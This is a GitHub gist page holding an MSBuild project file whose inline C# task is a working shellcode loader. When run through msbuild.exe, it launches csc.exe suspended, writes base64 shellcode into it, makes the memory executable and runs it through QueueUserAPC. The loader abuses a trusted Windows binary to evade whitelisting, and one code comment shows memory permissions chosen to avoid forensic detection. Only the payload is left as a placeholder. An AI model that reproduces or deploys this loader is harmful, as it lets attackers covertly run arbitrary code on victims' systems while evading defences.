-
-
Save djhohnstein/96d45b20229f5766cbfe604c899dad12 to your computer and use it in GitHub Desktop.
MSBuild => CSC.exe Shellcode Inject using QueueUserAPC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<-- x86 --> | |
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj --> | |
<!- x64 --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj --> | |
<Target Name="Hello"> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Using Namespace="System" /> | |
<Using Namespace="System.Reflection" /> | |
<Using Namespace="System.Diagnostics" /> | |
<Using Namespace="System.Runtime.InteropServices" /> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.Reflection; | |
using Microsoft.CSharp; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
public class ClassExample : Task, ITask | |
{ | |
public override bool Execute() | |
{ | |
Program.Main(); | |
return true; | |
} | |
} | |
public class Program | |
{ | |
public static void Main() | |
{ | |
string strShellCode = "[INSERT BASE64 SHELLCODE HERE]"; | |
byte[] shellcode = System.Convert.FromBase64String(strShellCode); | |
string processpath = @"C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe"; | |
STARTUPINFO si = new STARTUPINFO(); | |
PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); | |
bool success = CreateProcess(processpath, null, | |
IntPtr.Zero, IntPtr.Zero, false, | |
ProcessCreationFlags.CREATE_SUSPENDED, | |
IntPtr.Zero, null, ref si, out pi); | |
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE); | |
IntPtr bytesWritten = IntPtr.Zero; | |
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten); | |
Process targetProc = Process.GetProcessById((int)pi.dwProcessId); | |
ProcessThreadCollection currentThreads = targetProc.Threads; | |
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, currentThreads[0].Id); | |
uint oldProtect = 0; | |
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect); | |
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); | |
IntPtr ThreadHandle = pi.hThread; | |
ResumeThread(ThreadHandle); | |
} | |
private static UInt32 MEM_COMMIT = 0x1000; | |
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-) | |
private static UInt32 PAGE_READWRITE = 0x04; | |
private static UInt32 PAGE_EXECUTE_READ = 0x20; | |
[Flags] | |
public enum ProcessAccessFlags : uint | |
{ | |
All = 0x001F0FFF, | |
Terminate = 0x00000001, | |
CreateThread = 0x00000002, | |
VirtualMemoryOperation = 0x00000008, | |
VirtualMemoryRead = 0x00000010, | |
VirtualMemoryWrite = 0x00000020, | |
DuplicateHandle = 0x00000040, | |
CreateProcess = 0x000000080, | |
SetQuota = 0x00000100, | |
SetInformation = 0x00000200, | |
QueryInformation = 0x00000400, | |
QueryLimitedInformation = 0x00001000, | |
Synchronize = 0x00100000 | |
} | |
[Flags] | |
public enum ProcessCreationFlags : uint | |
{ | |
ZERO_FLAG = 0x00000000, | |
CREATE_BREAKAWAY_FROM_JOB = 0x01000000, | |
CREATE_DEFAULT_ERROR_MODE = 0x04000000, | |
CREATE_NEW_CONSOLE = 0x00000010, | |
CREATE_NEW_PROCESS_GROUP = 0x00000200, | |
CREATE_NO_WINDOW = 0x08000000, | |
CREATE_PROTECTED_PROCESS = 0x00040000, | |
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, | |
CREATE_SEPARATE_WOW_VDM = 0x00001000, | |
CREATE_SHARED_WOW_VDM = 0x00001000, | |
CREATE_SUSPENDED = 0x00000004, | |
CREATE_UNICODE_ENVIRONMENT = 0x00000400, | |
DEBUG_ONLY_THIS_PROCESS = 0x00000002, | |
DEBUG_PROCESS = 0x00000001, | |
DETACHED_PROCESS = 0x00000008, | |
EXTENDED_STARTUPINFO_PRESENT = 0x00080000, | |
INHERIT_PARENT_AFFINITY = 0x00010000 | |
} | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public uint dwProcessId; | |
public uint dwThreadId; | |
} | |
public struct STARTUPINFO | |
{ | |
public uint cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public uint dwX; | |
public uint dwY; | |
public uint dwXSize; | |
public uint dwYSize; | |
public uint dwXCountChars; | |
public uint dwYCountChars; | |
public uint dwFillAttribute; | |
public uint dwFlags; | |
public short wShowWindow; | |
public short cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[Flags] | |
public enum ThreadAccess : int | |
{ | |
TERMINATE = (0x0001) , | |
SUSPEND_RESUME = (0x0002) , | |
GET_CONTEXT = (0x0008) , | |
SET_CONTEXT = (0x0010) , | |
SET_INFORMATION = (0x0020) , | |
QUERY_INFORMATION = (0x0040) , | |
SET_THREAD_TOKEN = (0x0080) , | |
IMPERSONATE = (0x0100) , | |
DIRECT_IMPERSONATION = (0x0200) | |
} | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, | |
int dwThreadId); | |
[DllImport("kernel32.dll",SetLastError = true)] | |
public static extern bool WriteProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
int nSize, | |
out IntPtr lpNumberOfBytesWritten); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); | |
[DllImport("kernel32")] | |
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, | |
Int32 size, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32.dll", SetLastError = true )] | |
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, | |
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr OpenProcess( | |
ProcessAccessFlags processAccess, | |
bool bInheritHandle, | |
int processId | |
); | |
[DllImport("kernel32.dll")] | |
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, | |
bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, | |
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | |
[DllImport("kernel32.dll")] | |
public static extern uint ResumeThread(IntPtr hThread); | |
[DllImport("kernel32.dll")] | |
public static extern uint SuspendThread(IntPtr hThread); | |
[DllImport("kernel32.dll")] | |
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, | |
int dwSize, uint flNewProtect, out uint lpflOldProtect); | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment